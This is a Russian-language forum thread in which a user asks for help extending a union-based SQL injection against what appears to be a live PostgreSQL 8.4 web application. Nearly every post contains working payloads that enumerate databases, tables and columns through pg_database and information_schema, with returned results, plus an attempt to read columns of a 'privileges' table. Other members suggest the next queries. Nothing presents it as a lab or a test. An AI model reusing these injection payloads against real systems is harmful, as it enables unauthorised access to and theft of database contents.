Чтение другой базы в Postgres

Discussion in 'Песочница' started by Cnekmp, 24 Jun 2012.

  1. Cnekmp

    Cnekmp New Member

    Joined:
    19 Feb 2006
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Версия: PostgreSQL 8.4.2

    Выполняю запрос:

    HTML:
    -' union select null,null,null,null,null,current_database()--
    Ответ:

    somedatadb

    Второй запрос:

    HTML:
    -' union select null,null,null,null,null,datname FROM pg_database--
    
    Ответ:

    db1
    db2
    db3

    Вопрос: Как можно смодулировать запрос с учетом предыдущего примера запроса, чтобы посмотреть содержимое db2. (пользователь имеет доступ на просмотр)

    Пробывал

    HTML:
    -' union select null,null,null,null,null,table_name FROM db2--
    но не работает. Может я что-то делаю не правильно?
     
  2. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Для начала начните использовать information_schema в PostgreSQL она тоже есть!
     
  3. Cnekmp

    Cnekmp New Member

    Joined:
    19 Feb 2006
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Делал уже, но как-то выдает таблицы базы в которой я нахожусь а не соседней:

    HTML:
    -' union select null,null,null,null,null,table_name FROM information_schema.tables WHERE table_schema = 'public'--
    
    -' union select null,null,null,null,null,column_name FROM information_schema.columns WHERE table_name ='user_log'--
    
    -' union select null,null,null,null,null,var_name FROM user_log--
    Но мне нужен запрос который "покажет" соседнюю базу.
     
  4. A_n_d_r_e_i

    A_n_d_r_e_i Elder - Старейшина

    Joined:
    2 Sep 2009
    Messages:
    204
    Likes Received:
    277
    Reputations:
    32
    schema_name from information_schema.schemata
    Если не ошибаюсь
     
  5. Cnekmp

    Cnekmp New Member

    Joined:
    19 Feb 2006
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Разобрался:

    Этот запрос показывает все таблицы (включая таблицы других баз)

    HTML:
    -' union select null,null,null,null,null,table_name FROM information_schema.tables
    Показываем колонны в найденных таблицах:

    HTML:
    -' union select null,null,null,null,null,column_name FROM information_schema.columns WHERE table_name ='privileges'--
    Вывод:

    server_ID
    usr_ID
    priv_type

    А как собственно посмотреть данные этих колонн?

    Такой запрос просто не показывает каких либо данных....
    HTML:
    -' union select null,null,null,null,null,cast(server_ID as text) FROM privileges--
     
    #5 Cnekmp, 24 Jun 2012
    Last edited: 24 Jun 2012